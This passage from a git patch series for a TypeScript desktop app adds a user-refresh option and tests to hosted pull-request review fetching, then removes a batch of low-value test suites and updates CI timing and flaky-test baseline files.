answer. + reportReadOutcome: true, ...(options?.admissionTier ? { admissionTier: options.admissionTier } : {}), ...(options?.repoId !== undefined ? { repoId: options.repoId } : {}), currentHeadOid: options?.currentHeadOid ?? null, @@ -241,3 +252,40 @@ export function hostedReviewBranchLookupArgs( linkedGiteaPR: options?.linkedGiteaPR ?? null } } + +export async function requestHostedReviewForBranch( + target: RuntimeClientTarget, + runtimeParams: Record, + ipcArgs: HostedReviewForBranchArgs +): Promise { + return hostedReviewForBranchOutcome( + target.kind === 'environment' + ? await callRuntimeRpc( + target, + 'hostedReview.forBranch', + runtimeParams, + // Remote git/gh, especially Windows paths, can be slow; main queue bounds concurrency so longer timeout cannot cause stampedes. + { timeoutMs: 30_000 } + ) + : await window.api.hostedReview.forBranch(ipcArgs) + ) +} + +export function hostedReviewCallerSettlement( + readPreserved: () => HostedReviewCacheEntry | undefined, + options?: HostedReviewFetchOptions +): (request: Promise) => Promise { + return async (request) => { + try { + return await request + } catch (error) { + if (options?.userRefresh) { + throw error + } + const preserved = readPreserved() + return isStaleMergedGitHubReviewForHead(preserved, options?.currentHeadOid) + ? null + : (preserved?.data ?? null) + } + } +} diff --git a/src/renderer/src/store/slices/hosted-review-cache.test.ts b/src/renderer/src/store/slices/hosted-review-cache.test.ts index 88b51431d1a..4eb54a4a60c 100644 --- a/src/renderer/src/store/slices/hosted-review-cache.test.ts +++ b/src/renderer/src/store/slices/hosted-review-cache.test.ts @@ -68,6 +68,92 @@ describe('hosted review cache revalidation', () => { _clearHostedReviewRequestGenerationsForTest() }) + it('does not let a pre-click forced flight satisfy manual refresh or replace its result', async () => { + let finishOld: (value: HostedReviewInfo) => void = () => {} + mockApi.hostedReview.forBranch + .mockReturnValueOnce( + new Promise((resolve) => { + finishOld = resolve + }) + ) + .mockResolvedValueOnce({ ...review, state: 'merged' }) + const store = makeStore() + const before = store.getState().fetchHostedReviewForBranch('/repo', 'feature', { force: true }) + const options = { force: true, userRefresh: true } + const click = store.getState().fetchHostedReviewForBranch('/repo', 'feature', options) + finishOld(review) + await before + await expect(click).resolves.toMatchObject({ state: 'merged' }) + expect(mockApi.hostedReview.forBranch).toHaveBeenLastCalledWith( + expect.objectContaining({ userRefresh: true }) + ) + expect(Object.values(store.getState().hostedReviewCache)[0]?.data?.state).toBe('merged') + expect(_getHostedReviewRequestGenerationCountForTest()).toBe(0) + }) + + it('retains last-good after refused manual dispatch without restoring a superseded renderer owner', async () => { + const store = makeStore() + mockApi.hostedReview.forBranch.mockResolvedValueOnce(review) + await store.getState().fetchHostedReviewForBranch('/repo', 'feature') + const original = Object.values(store.getState().hostedReviewCache)[0] + let finishOld: (value: HostedReviewInfo) => void = () => {} + mockApi.hostedReview.forBranch + .mockReturnValueOnce( + new Promise((resolve) => { + finishOld = resolve + }) + ) + .mockRejectedValueOnce(new Error('capacity refused')) + const before = store.getState().fetchHostedReviewForBranch('/repo', 'feature', { force: true }) + const options = { force: true, userRefresh: true } + await expect( + store.getState().fetchHostedReviewForBranch('/repo', 'feature', options) + ).rejects.toThrow('capacity refused') + finishOld({ ...review, state: 'merged' }) + await before + expect(Object.values(store.getState().hostedReviewCache)[0]).toEqual(original) + expect(_getHostedReviewRequestGenerationCountForTest()).toBe(0) + mockApi.hostedReview.forBranch.mockResolvedValueOnce({ ...review, state: 'merged' }) + await expect( + store.getState().fetchHostedReviewForBranch('/repo', 'feature', { force: true }) + ).resolves.toMatchObject({ state: 'merged' }) + }) + + it('settles a failed manual runtime flight separately for an ordinary joiner without renewing last-good', async () => { + const store = makeStore() + store.setState((state) => ({ + repos: state.repos.map((repo) => ({ ...repo, executionHostId: 'runtime:paired' })) + })) + runtimeRpc.callRuntimeRpc.mockResolvedValueOnce(review) + await store.getState().fetchHostedReviewForBranch('/repo', 'feature') + const original = Object.values(store.getState().hostedReviewCache)[0] + let reject: (error: Error) => void = () => {} + runtimeRpc.callRuntimeRpc.mockReturnValueOnce( + new Promise((_, fail) => { + reject = fail + }) + ) + const manual = store + .getState() + .fetchHostedReviewForBranch('/repo', 'feature', { force: true, userRefresh: true }) + const failed = expect(manual).rejects.toThrow('offline') + const ordinary = store + .getState() + .fetchHostedReviewForBranch('/repo', 'feature', { force: true }) + reject(new Error('offline')) + await failed + await expect(ordinary).resolves.toEqual(review) + expect(runtimeRpc.callRuntimeRpc).toHaveBeenCalledTimes(2) + expect(runtimeRpc.callRuntimeRpc).toHaveBeenLastCalledWith( + expect.objectContaining({ kind: 'environment', environmentId: 'paired' }), + 'hostedReview.forBranch', + expect.objectContaining({ userRefresh: true }), + { timeoutMs: 30_000 } + ) + expect(Object.values(store.getState().hostedReviewCache)[0]).toEqual(original) + expect(_getHostedReviewRequestGenerationCountForTest()).toBe(0) + }) + it('dedupes repeated linked PR retries while a stronger lookup is in flight', async () => { let resolveLinkedLookup: (value: typeof review) => void = () => {} const linkedLookup = new Promise((resolve) => { diff --git a/src/renderer/src/store/slices/hosted-review-card-refresh.ts b/src/renderer/src/store/slices/hosted-review-card-refresh.ts index e35dad1f50f..5289ae7f98d 100644 --- a/src/renderer/src/store/slices/hosted-review-card-refresh.ts +++ b/src/renderer/src/store/slices/hosted-review-card-refresh.ts @@ -12,6 +12,7 @@ type RefreshHostedReviewCardArgs = { repoPath: string repoId: string branch: string + userRefresh?: boolean admissionTier?: 'interactive' | 'status' | 'background' linkedGitHubPR?: number | null fallbackGitHubPR?: number | null @@ -29,6 +30,7 @@ export function refreshHostedReviewCard( const fallbackGitHubPR = args.linkedGitHubPR == null ? (args.fallbackGitHubPR ?? null) : null return fetchHostedReviewForBranch(args.repoPath, args.branch, { force: true, + ...(args.userRefresh === true ? { userRefresh: true } : {}), repoId: args.repoId, ...(args.admissionTier ? { admissionTier: args.admissionTier } : {}), repoOwnerExecutionHostId: args.repoOwnerExecutionHostId, diff --git a/src/renderer/src/store/slices/hosted-review-request-state.ts b/src/renderer/src/store/slices/hosted-review-request-state.ts index 8b7d225b5d7..fc7a60224d9 100644 --- a/src/renderer/src/store/slices/hosted-review-request-state.ts +++ b/src/renderer/src/store/slices/hosted-review-request-state.ts @@ -176,10 +176,26 @@ export function _clearHostedReviewRequestGenerationsForTest(): void { /** A forced request needs a forced flight; an explicit Refresh (wake) needs one that may start the WSL distro (E9). */ export function canJoinHostedReviewFlight( - inflight: { force: boolean; wakeWslDistro: boolean }, - options: { force?: boolean; wakeWslDistro?: boolean } | undefined + inflight: { force: boolean; wakeWslDistro: boolean; currentHeadOid?: string | null }, + options: + | { + force?: boolean + wakeWslDistro?: boolean + userRefresh?: boolean + currentHeadOid?: string | null + } + | undefined ): boolean { - return (!options?.force || inflight.force) && (!options?.wakeWslDistro || inflight.wakeWslDistro) + return ( + !options?.userRefresh && + !( + options?.currentHeadOid != null && + inflight.currentHeadOid != null && + options.currentHeadOid !== inflight.currentHeadOid + ) && + (!options?.force || inflight.force) && + (!options?.wakeWslDistro || inflight.wakeWslDistro) + ) } /** Records a freshly issued request in the in-flight map and supersedes any queued revalidation for its key. */ @@ -190,7 +206,7 @@ export function registerInflightHostedReviewRequest( ...entry }: { promise: Promise - options: { force?: boolean; wakeWslDistro?: boolean } | undefined + options: { force?: boolean; wakeWslDistro?: boolean; userRefresh?: boolean } | undefined currentHeadOid: string | null generation: number startedAt: number diff --git a/src/renderer/src/store/slices/hosted-review.test.ts b/src/renderer/src/store/slices/hosted-review.test.ts index 636e28b4cda..76d6628aef0 100644 --- a/src/renderer/src/store/slices/hosted-review.test.ts +++ b/src/renderer/src/store/slices/hosted-review.test.ts @@ -104,6 +104,7 @@ describe('hosted review slice', () => { expect(mockApi.hostedReview.forBranch).toHaveBeenCalledWith({ repoPath: '/repo', branch: 'feature/gitlab', + reportReadOutcome: true, currentHeadOid: null, linkedGitHubPR: null, linkedGitLabMR: 5, diff --git a/src/renderer/src/store/slices/hosted-review.ts b/src/renderer/src/store/slices/hosted-review.ts index 58ecad1ac52..b6aa2c56d70 100644 --- a/src/renderer/src/store/slices/hosted-review.ts +++ b/src/renderer/src/store/slices/hosted-review.ts @@ -19,8 +19,10 @@ import { findHostedReviewRepoForFetch, hasNewerHostedReviewCacheEntry, hostedReviewOwnerIpcArgs, + hostedReviewCallerSettlement, hostedReviewBranchLookupArgs, isFreshHostedReview, + requestHostedReviewForBranch, isStaleMergedGitHubReviewForHead, hostedReviewRepoOwnerTarget, shouldRefetchForLinkedHint, @@ -173,6 +175,7 @@ export const createHostedReviewSlice: StateCreator get().hostedReviewCache[cacheKey], + options + ) const startRequest = (): Promise => { const generation = nextLookupGeneration() const requestStartedAt = Date.now() @@ -207,20 +207,11 @@ export const createHostedReviewSlice: StateCreator { try { const args = hostedReviewBranchLookupArgs(branch, options) - const review = - target.kind === 'environment' - ? await callRuntimeRpc( - target, - 'hostedReview.forBranch', - { repo: repo?.id ?? options?.repoId ?? repoPath, repoPath, ...args }, - // Remote git/gh, especially Windows paths, can be slow; main queue bounds concurrency so longer timeout cannot cause stampedes. - { timeoutMs: 30_000 } - ) - : await window.api.hostedReview.forBranch({ - repoPath, - ...hostedReviewOwnerIpcArgs(options), - ...args - }) + const { review, readOutcome } = await requestHostedReviewForBranch( + target, + { repo: repo?.id ?? options?.repoId ?? repoPath, repoPath, ...args }, + { repoPath, ...hostedReviewOwnerIpcArgs(options), ...args } + ) if (requestGenerations.get(cacheKey) === generation) { set((state) => { if ( @@ -251,6 +242,11 @@ export const createHostedReviewSlice: StateCreator Date: Sat, 31 Oct 2026 01:37:28 -0700 Subject: [PATCH 28/47] test: remove nine low-value suites and 147 individual cases (#36629) * test: remove low-value suites and cases * test: shrink flaky-pattern counts after case removals --- config/flaky-test-pattern-baseline.txt | 2 - config/scripts/ci-shard-timings.json | 9 - ...er-route-partition-pending-deletes.test.ts | 12 -- src/main/claude/claude-api-retry-row.test.ts | 10 - .../daemon-host-profile-isolation.test.ts | 6 - .../runner-wsl-login-shell-capture.test.ts | 15 +- ...ktree-created-description-real-git.test.ts | 6 - ...rktree-posix-path-case-sensitivity.test.ts | 9 +- .../git/wsl-process-group-termination.test.ts | 43 ----- src/main/github/client-file-viewed.test.ts | 41 ----- src/main/integration-state-file-cache.test.ts | 29 --- .../mobile-pairing-listener-family.test.ts | 15 -- ...s-and-hold-default.defaults-domain.test.ts | 8 - .../orcad-remote-windows-decommission.test.ts | 173 ------------------ src/main/pi/rpc-options.test.ts | 38 ---- src/main/plugins/plugin-cli-approval.test.ts | 9 - src/main/plugins/plugin-enablement.test.ts | 51 +----- ...dex-preflight-profile-path-rewrite.test.ts | 8 - .../gemini-usage-fetcher.fallback.test.ts | 21 --- .../rate-limits/opencode-go-usage-api.test.ts | 10 - ...minal-close-persistence-durability.test.ts | 40 ---- .../rpc/orchestration-caller-show.test.ts | 22 --- ...rchestration-mutation-request-show.test.ts | 10 - ...untime-local-create-rearm-ordering.test.ts | 17 -- ...ime-worktree-agent-rows-structured.test.ts | 42 +---- .../speech/model-manager-windows-path.test.ts | 26 --- .../startup/windows-app-data-path.test.ts | 40 +--- ...rktree-create-preparation-wsl-root.test.ts | 28 --- src/main/wsl/wsl-directory-upload.test.ts | 5 - src/main/wsl/wsl-pinned-runtime.test.ts | 13 -- .../dictation/DictationIndicator.test.tsx | 81 -------- .../editor/DiagramViewerModal.test.tsx | 13 -- .../components/editor/IpynbRendering.test.tsx | 32 +--- .../PluginBytesCustomEditorSurface.test.tsx | 9 - .../emulator-screen-stream-content.test.tsx | 16 -- .../FeatureWallSetupWorkflowActions.test.tsx | 42 ----- .../NativeChatAgentMessageRow.test.tsx | 77 -------- .../native-chat-composer-mobile-hold.test.tsx | 15 -- .../PetOverlay.pointer-interaction.test.tsx | 14 -- .../pet/pet-overlay-hit-area.test.tsx | 168 ----------------- .../right-sidebar/AiVaultPanelSearch.test.tsx | 112 +----------- .../CommitArea.chevron-spinner.test.tsx | 145 --------------- ...store-actions.store-subscriptions.test.tsx | 43 ----- .../CliSection.install-failure.test.tsx | 10 - .../settings/SshHostDeltaMoveDialog.test.tsx | 20 -- .../bitbucket-integration-card.test.tsx | 8 - .../ImportedWorktreesVisibilityLine.test.tsx | 159 ---------------- .../LocalGitToolchainScanBanner.test.tsx | 11 -- .../NewExternalWorktreesInboxLine.test.tsx | 81 -------- .../sidebar/RemoveFolderDialog.test.tsx | 150 --------------- .../sidebar/SidebarToolbar.test.tsx | 7 - .../WorkspaceKanbanStatusLane.test.tsx | 157 ---------------- .../WorktreeCard.delete-failed.test.tsx | 162 ---------------- .../sidebar/WorktreeCard.lineage.test.tsx | 150 --------------- .../sidebar/preserved-branch-toast.test.tsx | 26 --- .../resource-usage-folder-merge.test.ts | 45 ----- .../resource-usage-open-slices.test.ts | 159 ---------------- .../status-bar-antigravity-segment.test.tsx | 90 --------- .../workspace-space-breakdown-list.test.tsx | 62 ------- .../task-source-provider-availability.test.ts | 28 --- ...epro-8299-shift-space-input-source.test.ts | 40 +--- ...al-pane-store-subscription-budget.test.tsx | 22 --- .../workspace-cleanup-flat-list.test.tsx | 30 +-- .../wsl-move-orchestrator-status.test.tsx | 88 +-------- .../useEphemeralVmRecipeOptions.test.tsx | 9 - ...minal-output-scheduler-backlog-cap.test.ts | 20 -- ...-commit-cascade-observer.react185.test.tsx | 15 -- .../lib/wsl-moved-project-use-here.test.ts | 111 ----------- .../src/ssh/ssh-connect-in-flight.test.ts | 17 -- ...-cleanup-host-qualified-list-state.test.ts | 23 --- 70 files changed, 13 insertions(+), 3212 deletions(-) delete mode 100644 src/main/managed-server/install/orcad-remote-windows-decommission.test.ts delete mode 100644 src/renderer/src/components/pet/pet-overlay-hit-area.test.tsx delete mode 100644 src/renderer/src/components/right-sidebar/CommitArea.chevron-spinner.test.tsx delete mode 100644 src/renderer/src/components/sidebar/ImportedWorktreesVisibilityLine.test.tsx delete mode 100644 src/renderer/src/components/sidebar/RemoveFolderDialog.test.tsx delete mode 100644 src/renderer/src/components/sidebar/WorkspaceKanbanStatusLane.test.tsx delete mode 100644 src/renderer/src/components/sidebar/WorktreeCard.delete-failed.test.tsx delete mode 100644 src/renderer/src/components/sidebar/WorktreeCard.lineage.test.tsx delete mode 100644 src/renderer/src/components/status-bar/resource-usage-open-slices.test.ts diff --git a/config/flaky-test-pattern-baseline.txt b/config/flaky-test-pattern-baseline.txt index 6c0f6aaf619..ee5b4a483ac 100644 --- a/config/flaky-test-pattern-baseline.txt +++ b/config/flaky-test-pattern-baseline.txt @@ -1122,7 +1122,6 @@ 2 test-no-wall-clock:src/renderer/src/components/terminal-pane/remote-snapshot-alt-screen-host-chain.test.ts 3 test-no-wall-clock:src/renderer/src/components/terminal-pane/terminal-hidden-view-parking.test.ts 1 test-no-wall-clock:src/renderer/src/components/terminal-pane/terminal-link-worktree-root-activation.test.ts -1 test-no-wall-clock:src/renderer/src/components/terminal-pane/terminal-pane-store-subscription-budget.test.tsx 1 test-no-wall-clock:src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.test.ts 2 test-no-wall-clock:src/renderer/src/components/terminal-workspace-surface-ids.test.tsx 1 test-no-wall-clock:src/renderer/src/components/terminal/initial-terminal-structured-launch.test.tsx @@ -1364,7 +1363,6 @@ 4 test-timeout-needs-reason:src/packages/process-host/src/run-process.test.ts 5 test-timeout-needs-reason:src/renderer/src/components/sidebar/WorktreeCard.compact-hover.test.tsx 2 test-timeout-needs-reason:src/renderer/src/components/sidebar/WorktreeCard.host-badge-toggle.test.tsx -2 test-timeout-needs-reason:src/renderer/src/components/sidebar/WorktreeCard.lineage.test.tsx 4 test-timeout-needs-reason:src/renderer/src/components/sidebar/WorktreeCard.pinned-repo-icon.test.tsx 7 test-timeout-needs-reason:src/renderer/src/components/sidebar/WorktreeCard.pr-display.test.tsx 1 test-timeout-needs-reason:src/renderer/src/components/sidebar/WorktreeCardAgents.send-target.test.tsx diff --git a/config/scripts/ci-shard-timings.json b/config/scripts/ci-shard-timings.json index 85791704055..07ba40eab60 100644 --- a/config/scripts/ci-shard-timings.json +++ b/config/scripts/ci-shard-timings.json @@ -3381,7 +3381,6 @@ "src/main/managed-server/install/orcad-remote-runtime.test.ts": 531, "src/main/managed-server/install/orcad-remote-shell-commands.integration.test.ts": 9405, "src/main/managed-server/install/orcad-remote-windows-commands.test.ts": 242, - "src/main/managed-server/install/orcad-remote-windows-decommission.test.ts": 319, "src/main/managed-server/install/orcad-remote-windows-scripts.test.ts": 3133, "src/main/managed-server/install/remote-install-gc-claim-termination.test.ts": 156, "src/main/managed-server/install/remote-install-gc-termination.test.ts": 120, @@ -8018,7 +8017,6 @@ "src/renderer/src/components/onboarding/windows-terminal-onboarding-telemetry.test.ts": 49, "src/renderer/src/components/pet/PetOverlay.pointer-interaction.test.tsx": 195, "src/renderer/src/components/pet/pet-blob-cache.test.ts": 55, - "src/renderer/src/components/pet/pet-overlay-hit-area.test.tsx": 228, "src/renderer/src/components/pet/pet-overlay-visibility.test.ts": 46, "src/renderer/src/components/pet/sprite-animation-css.test.ts": 44, "src/renderer/src/components/pet/usePetPointerInteraction.test.ts": 257, @@ -8062,7 +8060,6 @@ "src/renderer/src/components/right-sidebar/AiVaultSessionVirtualList.measurement.test.tsx": 2554, "src/renderer/src/components/right-sidebar/AiVaultVirtualRow.test.tsx": 2253, "src/renderer/src/components/right-sidebar/ChecksPanel.updated-at-metadata.test.tsx": 243, - "src/renderer/src/components/right-sidebar/CommitArea.chevron-spinner.test.tsx": 1564, "src/renderer/src/components/right-sidebar/CommitArea.generate.test.tsx": 1781, "src/renderer/src/components/right-sidebar/CommitArea.test.tsx": 8618, "src/renderer/src/components/right-sidebar/FileExplorerFilesTreePane.errors.test.tsx": 3001, @@ -8539,7 +8536,6 @@ "src/renderer/src/components/sidebar/DeleteWorktreeDialog.unsaved-edits.test.tsx": 1079, "src/renderer/src/components/sidebar/DeleteWorktreeDialogFooter.test.tsx": 523, "src/renderer/src/components/sidebar/DeleteWorktreeTargetPreview.test.tsx": 608, - "src/renderer/src/components/sidebar/ImportedWorktreesVisibilityLine.test.tsx": 1451, "src/renderer/src/components/sidebar/LinearAgentSkillSetupPrompt.reminder-toast.test.tsx": 1545, "src/renderer/src/components/sidebar/LinearAgentSkillSetupPrompt.test.tsx": 2010, "src/renderer/src/components/sidebar/LocalGitToolchainScanBanner.test.tsx": 1690, @@ -8552,7 +8548,6 @@ "src/renderer/src/components/sidebar/ProjectGroupDeleteDialog.test.tsx": 2252, "src/renderer/src/components/sidebar/ProjectHeaderActions.test.tsx": 141, "src/renderer/src/components/sidebar/RemoteFileBrowser.paste.test.tsx": 640, - "src/renderer/src/components/sidebar/RemoveFolderDialog.test.tsx": 754, "src/renderer/src/components/sidebar/SetupGuideSidebarEntry.test.tsx": 433, "src/renderer/src/components/sidebar/SetupScriptPromptCard.test.ts": 73, "src/renderer/src/components/sidebar/SeveredTerminalDaemonBanner.test.tsx": 393, @@ -8574,14 +8569,11 @@ "src/renderer/src/components/sidebar/WorkspaceKanbanLaneCardList.test.tsx": 286, "src/renderer/src/components/sidebar/WorkspaceKanbanLaneGrid.test.tsx": 519, "src/renderer/src/components/sidebar/WorkspaceKanbanSearchField.test.tsx": 658, - "src/renderer/src/components/sidebar/WorkspaceKanbanStatusLane.test.tsx": 419, "src/renderer/src/components/sidebar/WorktreeCard.affiliate-list-mode.test.tsx": 1826, "src/renderer/src/components/sidebar/WorktreeCard.compact-hover.test.tsx": 2372, "src/renderer/src/components/sidebar/WorktreeCard.compact-ports-hover-independence.test.tsx": 2147, - "src/renderer/src/components/sidebar/WorktreeCard.delete-failed.test.tsx": 2196, "src/renderer/src/components/sidebar/WorktreeCard.host-badge-toggle.test.tsx": 1253, "src/renderer/src/components/sidebar/WorktreeCard.hosted-review-refresh.test.tsx": 1647, - "src/renderer/src/components/sidebar/WorktreeCard.lineage.test.tsx": 1737, "src/renderer/src/components/sidebar/WorktreeCard.merged-pr-display.test.tsx": 1682, "src/renderer/src/components/sidebar/WorktreeCard.pinned-repo-icon.test.tsx": 1604, "src/renderer/src/components/sidebar/WorktreeCard.pr-display.test.tsx": 1246, @@ -8925,7 +8917,6 @@ "src/renderer/src/components/status-bar/resource-session-kill-confirmation.test.ts": 42, "src/renderer/src/components/status-bar/resource-session-removal-render-budget.test.tsx": 288, "src/renderer/src/components/status-bar/resource-usage-folder-merge.test.ts": 87, - "src/renderer/src/components/status-bar/resource-usage-open-slices.test.ts": 1804, "src/renderer/src/components/status-bar/runtime-host-resources.test.ts": 45, "src/renderer/src/components/status-bar/ssh-status-menu-rows.test.ts": 48, "src/renderer/src/components/status-bar/status-bar-antigravity-segment.test.tsx": 968, diff --git a/src/main/browser/browser-route-partition-pending-deletes.test.ts b/src/main/browser/browser-route-partition-pending-deletes.test.ts index 4bf2cde1d44..5ebffc9988d 100644 --- a/src/main/browser/browser-route-partition-pending-deletes.test.ts +++ b/src/main/browser/browser-route-partition-pending-deletes.test.ts @@ -80,18 +80,6 @@ it('keeps a folder bound again since it was queued, and retries one that failed' expect(JSON.parse(readFileSync(listPath, 'utf8'))).toEqual([busy]) }) -it('does nothing with no list', async () => { - expect( - await deletePendingBrowserRoutePartitionDirectories({ - filePath: listPath, - partitionDataRoot: partitions, - isBound: () => false, - removeDirectory - }) - ).toEqual([]) - expect(existsSync(listPath)).toBe(false) -}) - it('never deletes a listed path that is not strictly inside Partitions', async () => { const outside = join(root, 'outside') mkdirSync(outside) diff --git a/src/main/claude/claude-api-retry-row.test.ts b/src/main/claude/claude-api-retry-row.test.ts index 6360d260668..2ffb3c74b24 100644 --- a/src/main/claude/claude-api-retry-row.test.ts +++ b/src/main/claude/claude-api-retry-row.test.ts @@ -92,16 +92,6 @@ describe('a Claude api_retry frame', () => { expect(row.failure?.detail?.text).toContain('"attempt":3') }) - it('says how far a gateway failure has got, and the code it failed with', async () => { - const [row] = await statusRowsFor([ - apiRetry(1, { error: 'server_error', error_status: 502 }), - apiRetry(2, { error: 'server_error', error_status: 502 }) - ]) - expect(row?.text).toBe( - 'Claude hit a temporary problem and is retrying. Retry 2 of 10.\nLast error: HTTP 502 server error.' - ) - }) - it('starts a new row when a later run starts over', async () => { const rows = await statusRowsFor([apiRetry(1), apiRetry(2), apiRetry(1)]) expect(rows.map((row) => row.text.split('\n')[0])).toEqual([ diff --git a/src/main/daemon/daemon-host-profile-isolation.test.ts b/src/main/daemon/daemon-host-profile-isolation.test.ts index 0abd44c2c16..be12ea4ae09 100644 --- a/src/main/daemon/daemon-host-profile-isolation.test.ts +++ b/src/main/daemon/daemon-host-profile-isolation.test.ts @@ -160,10 +160,4 @@ describe('daemon-host profile isolation under a shared LOCALAPPDATA', () => { expect(existsSync(join(legacyStaging, 'Orca.exe'))).toBe(true) expect(existsSync(join(legacyOld, 'Orca.exe'))).toBe(true) }) - - it('stays under userData when LOCALAPPDATA is unset', () => { - delete process.env.LOCALAPPDATA - useProfile(join(tempDir, 'profile-a')) - expect(getDaemonHostRootDir()).toBe(join(tempDir, 'profile-a', 'daemon-host')) - }) }) diff --git a/src/main/git/runner-wsl-login-shell-capture.test.ts b/src/main/git/runner-wsl-login-shell-capture.test.ts index dd3b78d9b5f..23eb93cba1a 100644 --- a/src/main/git/runner-wsl-login-shell-capture.test.ts +++ b/src/main/git/runner-wsl-login-shell-capture.test.ts @@ -23,6 +23,8 @@ import { _resetGitAdmissionForTests } from './command-runner/git-subprocess-admi afterEach(() => _resetGitAdmissionForTests()) import { resetWslGitReadEnvironmentForTests } from './wsl-git-read-environment' +const originalPlatform = process.platform + const DISTRO = 'Ubuntu' const WSL_CWD = String.raw`\\wsl.localhost\Ubuntu\home\alice\repo` const BANNER = 'To run a command as administrator (user "root"), use "sudo ".\n\n' @@ -66,21 +68,10 @@ describe('WSL login-shell reads are fenced', () => { }) afterEach(() => { - Object.defineProperty(process, 'platform', { configurable: true, value: process.platform }) + Object.defineProperty(process, 'platform', { configurable: true, value: originalPlatform }) resetWslGitReadEnvironmentForTests() }) - it('returns blob bytes without the login-shell banner', async () => { - respondWithFencedPayload('line one\nline two\n') - - const { stdout } = await gitExecFileAsyncBuffer(['show', ':file.txt'], { - cwd: WSL_CWD, - wslDistro: DISTRO - }) - - expect(stdout.toString('utf8')).toBe('line one\nline two\n') - }) - it('keeps binary blob bytes intact through the fence', async () => { const binary = Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x00, 0xff, 0xfe, 0x0a, 0x00, 0x1b]) respondWithFencedPayload(binary) diff --git a/src/main/git/worktree-created-description-real-git.test.ts b/src/main/git/worktree-created-description-real-git.test.ts index cda6261e119..ee7c2e88d68 100644 --- a/src/main/git/worktree-created-description-real-git.test.ts +++ b/src/main/git/worktree-created-description-real-git.test.ts @@ -55,12 +55,6 @@ describe('describeCreatedWorktree against the real Git binary', () => { ) }) - it('accepts a fully qualified branch ref', async () => { - await expect( - describeCreatedWorktree(repoPath, worktreePath, 'refs/heads/feature') - ).resolves.toMatchObject({ branch: 'refs/heads/feature', isMainWorktree: false }) - }) - it('rejects a checkout owned by a different repo', async () => { const otherRepo = join(scratchDir, 'other') await seedRepo(otherRepo, 'other@example.invalid') diff --git a/src/main/git/worktree-posix-path-case-sensitivity.test.ts b/src/main/git/worktree-posix-path-case-sensitivity.test.ts index dc27f68da89..d66ea4d2fab 100644 --- a/src/main/git/worktree-posix-path-case-sensitivity.test.ts +++ b/src/main/git/worktree-posix-path-case-sensitivity.test.ts @@ -38,7 +38,7 @@ import { createGitCommandMocker, resetWorktreeRemovalState } from './remove-worktree-test-harness' -import { areWorktreePathsEqual, canonicalWorktreePath } from './worktree-path-comparison' +import { areWorktreePathsEqual } from './worktree-path-comparison' import { removeWorktree } from './worktree' const mockGitCommands = createGitCommandMocker(gitExecFileAsyncMock) @@ -47,13 +47,6 @@ const getGitCalls = createGitCallReader(gitExecFileAsyncMock) const UNC = '\\\\wsl.localhost\\Ubuntu\\home\\alice\\ws' describe('worktree path comparison across path syntaxes', () => { - it('keeps two WSL UNC worktrees that differ only in case distinct', () => { - expect(areWorktreePathsEqual(`${UNC}\\Feature`, `${UNC}\\feature`, 'win32')).toBe(false) - expect(canonicalWorktreePath(`${UNC}\\Feature`, 'win32')).not.toBe( - canonicalWorktreePath(`${UNC}\\feature`, 'win32') - ) - }) - it('keeps two POSIX worktrees that differ only in case distinct on a Windows desktop', () => { expect(areWorktreePathsEqual('/home/alice/ws/Feature', '/home/alice/ws/feature', 'win32')).toBe( false diff --git a/src/main/git/wsl-process-group-termination.test.ts b/src/main/git/wsl-process-group-termination.test.ts index 776a614bb5a..f0845c1d718 100644 --- a/src/main/git/wsl-process-group-termination.test.ts +++ b/src/main/git/wsl-process-group-termination.test.ts @@ -23,24 +23,6 @@ describe('WSL process-group termination', () => { readWslDistroRunningStateMock.mockReset().mockResolvedValue('running') }) - it('wraps the guest command in a reported process group', () => { - const termination = createWslProcessGroupTermination('Ubuntu') - const args = termination.wrapGuestArgs(['git', 'fetch']) - - expect(args.slice(0, 2)).toEqual(['sh', '-c']) - expect(args.slice(-2)).toEqual(['git', 'fetch']) - expect(args.join(' ')).toContain('__ORCA_WSL_PROCESS_GROUP_') - expect(args[2]).toContain('setsid --wait sh -c') - }) - - it('runs the guest command unwrapped where setsid --wait is unsupported', () => { - const termination = createWslProcessGroupTermination('Ubuntu') - const script = termination.wrapGuestArgs(['git', 'fetch'])[2] ?? '' - - expect(script).toContain('if setsid --wait true 2>/dev/null; then') - expect(script.trimEnd().endsWith('exec "$@"')).toBe(true) - }) - it('forces and verifies the reported guest process group', async () => { const termination = createWslProcessGroupTermination('Ubuntu') const wrapped = termination.wrapGuestArgs(['git', 'fetch']).join(' ') @@ -57,25 +39,6 @@ describe('WSL process-group termination', () => { expect(spec.args).toEqual(['4321']) }) - it('kills the group through the WSL runner, never a raw wsl.exe spawn', async () => { - const termination = createWslProcessGroupTermination('Ubuntu') - const wrapped = termination.wrapGuestArgs(['git', 'fetch']).join(' ') - const marker = wrapped.match(/(__ORCA_WSL_PROCESS_GROUP_[0-9a-f-]+__=)/)?.[1] - termination.observeStderr?.(Buffer.from(`${marker}4321\n`)) - - await termination.signal({} as ChildProcess) - - const spec = runWslProcessMock.mock.calls[0]?.[0] - expect(spec.distro).toBe('Ubuntu') - // The runner picks the shell; a payload of plain POSIX must not pin bash. - expect(spec.program).toBeUndefined() - expect(spec.shell).toBeUndefined() - // The kill reads no login environment, so it must not pay the probe. - expect(spec.loginPath).toBe('none') - expect(spec.timeoutMs).toBeGreaterThan(0) - expect(spec.script).toContain('kill -TERM') - }) - it('does not claim termination before the guest reports its identity', async () => { const termination = createWslProcessGroupTermination('Ubuntu') @@ -146,11 +109,5 @@ describe('WSL process-group termination', () => { expect(distro).toBe('Ubuntu') expect(options?.startedAfter).toBeGreaterThanOrEqual(before) }) - - it('kills in a running distro as before', async () => { - readWslDistroRunningStateMock.mockResolvedValue('running') - await expect(reportedGroup().signal(child)).resolves.toBe(true) - expect(runWslProcessMock).toHaveBeenCalledOnce() - }) }) }) diff --git a/src/main/github/client-file-viewed.test.ts b/src/main/github/client-file-viewed.test.ts index feeb477985a..17e9993d6bd 100644 --- a/src/main/github/client-file-viewed.test.ts +++ b/src/main/github/client-file-viewed.test.ts @@ -72,47 +72,6 @@ describe('setPRFileViewed', () => { acquireMock.mockResolvedValue(undefined) }) - it('uses GitHub GraphQL file-viewed mutations', async () => { - ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '{}' }) - - await expect( - setPRFileViewed({ - repoPath: '/repo-root', - pullRequestId: 'PR_kwDO123', - path: 'src/app.ts', - viewed: true - }) - ).resolves.toBe(true) - - const args = ghExecFileAsyncMock.mock.calls[0][0] - expect(args[0]).toBe('api') - expect(args[1]).toBe('graphql') - expect(args.find((arg: string) => 